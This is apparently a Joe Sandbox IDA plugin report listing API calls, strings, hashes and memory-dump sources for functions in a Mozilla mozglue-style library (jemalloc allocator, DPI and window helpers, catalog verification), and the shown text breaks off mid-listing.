__Init_thread_footer.LIBCMT ref: 6CA4729C
__Init_thread_footer.LIBCMT ref: 6CA472DC
__Init_thread_footer.LIBCMT ref: 6CA4730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6CA473C2
VerSetConditionMask.NTDLL ref: 6CA473F3
VerSetConditionMask.NTDLL ref: 6CA473FF
VerSetConditionMask.NTDLL ref: 6CA47406
VerSetConditionMask.NTDLL ref: 6CA4740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CA4741A
moz_xmalloc.MOZGLUE(?), ref: 6CA4755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CA47568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6CA47585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CA47598
free.MOZGLUE(00000000), ref: 6CA475AC

Part of subcall function 6CA6AB89: EnterCriticalSection.KERNEL32(6CABE370,?,?,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284), ref: 6CA6AB94
Part of subcall function 6CA6AB89: LeaveCriticalSection.KERNEL32(6CABE370,?,6CA334DE,6CABF6CC,?,?,?,?,?,?,?,6CA33284,?,?,6CA556F6), ref: 6CA6ABD1

Strings

CryptCATAdminReleaseCatalogContext, xrefs: 6CA472C8
(, xrefs: 6CA4768A
wintrust.dll, xrefs: 6CA472CD
SHA256, xrefs: 6CA46EC0

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: f2d4bb0121d522e123fa2e1610c22955a5f5fa7dffab84bda0671fb1c25cc995
Instruction ID: 7197a6cf573789fb93a6d3da2632bcace80a7b6d3aa1183127bd855c89cee5f6
Opcode Fuzzy Hash: f2d4bb0121d522e123fa2e1610c22955a5f5fa7dffab84bda0671fb1c25cc995
Instruction Fuzzy Hash: C952E2B5A003559FEB25DF64CC88BAA77B9EB45308F148199E809E7640DB30AEC9CF51

Function 6CA66FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CABE7DC), ref: 6CA67019
LeaveCriticalSection.KERNEL32(6CABE7DC), ref: 6CA67061
EnterCriticalSection.KERNEL32(?), ref: 6CA671A4
LeaveCriticalSection.KERNEL32(?), ref: 6CA6721D
memcpy.VCRUNTIME140(?,?,?), ref: 6CA6723E
EnterCriticalSection.KERNEL32(?), ref: 6CA6726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6CA672B2
LeaveCriticalSection.KERNEL32(?), ref: 6CA6733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6CA673E8
LeaveCriticalSection.KERNEL32(?), ref: 6CA6961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA69622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA69642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA6964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA696CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CA696DB
AcquireSRWLockExclusive.KERNEL32(6CABE804), ref: 6CA69747
GetSystemInfo.KERNEL32(?), ref: 6CA69792
__Init_thread_footer.LIBCMT ref: 6CA697A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6CABE810,00000040), ref: 6CA697CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6CABE7B8,00001388), ref: 6CA69838
InitializeCriticalSectionAndSpinCount.KERNEL32(6CABE744,00001388), ref: 6CA6984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6CABE784,00001388), ref: 6CA69874
InitializeCriticalSectionAndSpinCount.KERNEL32(6CABE7DC,00001388), ref: 6CA69895

Strings

MOZ_CRASH(), xrefs: 6CA69B42
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA69993
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA69BF4
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA699D2
Compile-time page size does not divide the runtime one., xrefs: 6CA69B38
<jemalloc>, xrefs: 6CA69B33, 6CA69BE3
MALLOC_OPTIONS, xrefs: 6CA697CA
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA69933, 6CA69A33, 6CA69A4E
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA699A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA699BD

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: 7dd08309264a251d8e234c09c23c3fe437f86a60f986e5083d46fa428ccfe503
Instruction ID: 5c04897322da613c467d7662928db44ecc364952323383f409e526c8075e92b7
Opcode Fuzzy Hash: 7dd08309264a251d8e234c09c23c3fe437f86a60f986e5083d46fa428ccfe503
Instruction Fuzzy Hash: 18537171A157018FD704CF2AC580615FBE1BF86328F29C66DE869DBBA1D771E881CB81

Function 6CA70DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CA70F1F
LeaveCriticalSection.KERNEL32(?), ref: 6CA70F99
memcpy.VCRUNTIME140(?,?,?), ref: 6CA70FB7
EnterCriticalSection.KERNEL32(?), ref: 6CA70FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6CA71031
LeaveCriticalSection.KERNEL32(?), ref: 6CA710D0
EnterCriticalSection.KERNEL32(?), ref: 6CA7117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6CA71C39
EnterCriticalSection.KERNEL32(6CABE744), ref: 6CA73391
LeaveCriticalSection.KERNEL32(6CABE744), ref: 6CA733CD
LeaveCriticalSection.KERNEL32(?), ref: 6CA73431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CA73437

Strings

MOZ_CRASH(), xrefs: 6CA73950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6CA73793
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA73A02
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6CA737D2
Compile-time page size does not divide the runtime one., xrefs: 6CA73946
<jemalloc>, xrefs: 6CA73941, 6CA739F1
MALLOC_OPTIONS, xrefs: 6CA735FE
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA73559, 6CA7382D, 6CA73848
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6CA737A8
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6CA737BD

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 65c8d12c6ce670be44e08852a257478309124ac0bb68fe7bc9c5209ef795045b
Instruction ID: 7fc6f5f411277fe839dfa89d60c5a474fde2f8cfdd55c7bbf89fa896bbcc0c1f
Opcode Fuzzy Hash: 65c8d12c6ce670be44e08852a257478309124ac0bb68fe7bc9c5209ef795045b
Instruction Fuzzy Hash: 33539F75A067018FC324CF29C554615FBE1BF89328F29C76DE8A99B791D331E882CB91

Function 6CA955F0 Relevance: 77.2, APIs: 22, Strings: 22, Instructions: 163
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(user32,?,6CA6E1A5), ref: 6CA95606
LoadLibraryW.KERNEL32(gdi32,?,6CA6E1A5), ref: 6CA9560F
GetProcAddress.KERNEL32(00000000,GetThreadDpiAwarenessContext), ref: 6CA95633
GetProcAddress.KERNEL32(00000000,AreDpiAwarenessContextsEqual), ref: 6CA9563D
GetProcAddress.KERNEL32(00000000,EnableNonClientDpiScaling), ref: 6CA9566C
GetProcAddress.KERNEL32(00000000,GetSystemMetricsForDpi), ref: 6CA9567D
GetProcAddress.KERNEL32(00000000,GetDpiForWindow), ref: 6CA95696
GetProcAddress.KERNEL32(00000000,RegisterClassW), ref: 6CA956B2
GetProcAddress.KERNEL32(00000000,CreateWindowExW), ref: 6CA956CB
GetProcAddress.KERNEL32(00000000,ShowWindow), ref: 6CA956E4
GetProcAddress.KERNEL32(00000000,SetWindowPos), ref: 6CA956FD
GetProcAddress.KERNEL32(00000000,GetWindowDC), ref: 6CA95716
GetProcAddress.KERNEL32(00000000,FillRect), ref: 6CA9572F
GetProcAddress.KERNEL32(00000000,ReleaseDC), ref: 6CA95748
GetProcAddress.KERNEL32(00000000,LoadIconW), ref: 6CA95761
GetProcAddress.KERNEL32(00000000,LoadCursorW), ref: 6CA9577A
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 6CA95793
GetProcAddress.KERNEL32(00000000,GetMonitorInfoW), ref: 6CA957A8
GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6CA957BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6CA957D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6CA957EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6CA957FF

Strings

GetWindowDC, xrefs: 6CA95710
StretchDIBits, xrefs: 6CA957CC
RegisterClassW, xrefs: 6CA956AC
user32, xrefs: 6CA95601
LoadIconW, xrefs: 6CA9575B
CreateSolidBrush, xrefs: 6CA957E4
SetWindowLongPtrW, xrefs: 6CA957B7
GetDpiForWindow, xrefs: 6CA95690
CreateWindowExW, xrefs: 6CA956C5
DeleteObject, xrefs: 6CA957F9
GetThreadDpiAwarenessContext, xrefs: 6CA9562D
GetSystemMetricsForDpi, xrefs: 6CA95677
MonitorFromWindow, xrefs: 6CA9578D
EnableNonClientDpiScaling, xrefs: 6CA95666
gdi32, xrefs: 6CA9560A
FillRect, xrefs: 6CA95729
GetMonitorInfoW, xrefs: 6CA957A2
AreDpiAwarenessContextsEqual, xrefs: 6CA95637
ReleaseDC, xrefs: 6CA95742
LoadCursorW, xrefs: 6CA95774
ShowWindow, xrefs: 6CA956DE
SetWindowPos, xrefs: 6CA956F7

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 01f77576b5521e244a3f91590e438f58d0cc49b6600c55aed10735884ef1161a
Instruction ID: 6728a010cc60b939c5617cee09c38e052d6dead13ecd8c9af0ecc16e33422628
Opcode Fuzzy Hash: 01f77576b5521e244a3f91590e438f58d0cc49b6600c55aed10735884ef1161a
Instruction Fuzzy Hash: F45136B8A117035FDB095F759E899263AFCBB06245718C729B912E2A71EB70C8428F74

Function 6CA934A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA9355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA935BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA935E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA9363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA936CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA9373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA9378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA938BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA939EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA93EE2

Part of subcall function 6CA96180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6CA961DD
Part of subcall function 6CA96180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6CA9622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA940F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA9412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA94157

Part of subcall function 6CA96180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CA96250
Part of subcall function 6CA96180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA96292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA9441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6CA94448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA9484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA94863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA94878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6CA94896
free.MOZGLUE ref: 6CA9489F

Strings

, xrefs: 6CA94CD2

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: f1eddb3bd2b75b98f97d49f7c1f02ad74b2caf808d99b558ce96d8ad7c2ce4ed
Instruction ID: 7cd52fdb6515854ce9598f55cfd1e698b29538519fbdfbe21c4427829a79c9c2
Opcode Fuzzy Hash: f1eddb3bd2b75b98f97d49f7c1f02ad74b2caf808d99b558ce96d8ad7c2ce4ed
Instruction Fuzzy Hash: BCF24A74908B818FC725CF28C18469AFBF1FFC9348F158A5ED99997711DB329886CB42

Function 6CA464C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6CA464DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6CA464F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6CA46505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6CA46518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CA4652B
memcpy.VCRUNTIME140(?,?,?), ref: 6CA4671C
GetCurrentProcess.KERNEL32 ref: 6CA46724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA4672F
GetCurrentProcess.KERNEL32 ref: 6CA46759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6CA46764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6CA46A80
GetSystemInfo.KERNEL32(?), ref: 6CA46ABE
__Init_thread_footer.LIBCMT ref: 6CA46AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA46AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CA46AF7

Strings

_etoured.dll, xrefs: 6CA464ED
detoured.dll, xrefs: 6CA464DA
nvd3d9wrap.dll, xrefs: 6CA46500
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6CA46798
nvdxgiwrap.dll, xrefs: 6CA46513
user32.dll, xrefs: 6CA46526

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 40636125060d750f37f44d30a47cc63c0df85e8ae0fea143b48ab60267aaff5a
Instruction ID: 79b622a42a6655f7fc628d0343d3f425d344984d228de2aebd833be6e08aa47d
Opcode Fuzzy Hash: 40636125060d750f37f44d30a47cc63c0df85e8ae0fea143b48ab60267aaff5a
Instruction Fuzzy Hash: 20F1E470A052199FDB20CF64CD88BDAB7B4AF05318F18C2A9E809A3751D771AEC5CF90

Function 6CA660A0 Relevance: 50.1, APIs: 22, Strings: 6, Instructions: 1142COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CABE7DC), ref: 6CA660C9
LeaveCriticalSection.KERNEL32(6CABE7DC), ref: 6CA6610D
EnterCriticalSection.KERNEL32(?), ref: 6CA6618C
LeaveCriticalSection.KERNEL32(?), ref: 6CA661F9

Strings

MOZ_CRASH(), xrefs: 6CA66AB8
: (malloc) Unsupported character in malloc options: ', xrefs: 6CA66B6A
Compile-time page size does not divide the runtime one., xrefs: 6CA66AAE
<jemalloc>, xrefs: 6CA66AA9, 6CA66B59
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA66BC7, 6CA66F97, 6CA66FB2
MALLOC_OPTIONS, xrefs: 6CA66888

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3168844106-429003945
Opcode ID: a1791927a4c8fc0e08d662bcff822dcf81b4aa6557ae6d098af2af45bb7e2771
Instruction ID: 0ba4a6beb63eb73e6cb3c27d11dd0b14b530919ba515f8acf7dfb3c7caeeea1d
Opcode Fuzzy Hash: a1791927a4c8fc0e08d662bcff822dcf81b4aa6557ae6d098af2af45bb7e2771
Instruction Fuzzy Hash: F8A29C71A057118FD708CF2AC550615BBF1FB85328F29C6ADE869DBBA1C771E881CB81

Function 6CA9C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA9C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA9C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA9C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6CA9C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6CA9C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA9CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA9CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA9DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA9DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA9DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA9E432
memcpy.VCRUNTIME140(?,?,?), ref: 6CA9E472

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: e63edd7e86e920fa71b295d1b3e3cfeabbab36dba25d77eea1deef22ffdecc22
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 2333AE71E1021ACFCB04CFACC8816ADBBF2FF49314F288269D955AB755D731A985CB90

Function 6CA4FD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CABE7B8), ref: 6CA4FF81
LeaveCriticalSection.KERNEL32(6CABE7B8), ref: 6CA5022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CA50240
EnterCriticalSection.KERNEL32(6CABE768), ref: 6CA5025B
LeaveCriticalSection.KERNEL32(6CABE768), ref: 6CA5027B

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CA50D67, 6CA50D7B, 6CA50DAC
<jemalloc>, xrefs: 6CA50D62, 6CA50D76, 6CA50DA7
MOZ_RELEASE_ASSERT(mNode), xrefs: 6CA4FE99, 6CA4FEB7, 6CA4FED3, 6CA50DB8, 6CA50DD3, 6CA519B4

Memory Dump Source

Source File: 00000000.00000002.2012141946.000000006CA31000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CA30000, based on PE: true

Associated: 00000000.00000002.2012100240.000000006CA30000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012259323.000000006CAAD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012297613.000000006CABE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2012324189.000000006CAC2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca30000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 401f768fc94eab973464e919038101b3355de518142c49d4f427e45ea5601a55
Instruction ID: 0e8f5b0ee6c6d435c219fd4e8839d92f04adb908fd9cea8c5bba5a6b72997c84
Opcode Fuzzy Hash: 401f768fc94eab973464e919038101b3355de518142c49d4f427e45ea5601a55
Instruction Fuzzy Hash: D6C2F171A057418FD714CF28C880726BBE1BF85328F68C66DE9A98B7D5C771E891CB81

Function 6CA9E680 Relevance: 31.1, APIs: 22, Instructions: 3648COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00004014), ref: 6CA9E811
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA9EAA8
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CA9EBD5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA9EEF6
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CA9F223
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CA9F322
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAA0E03
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAA0E54
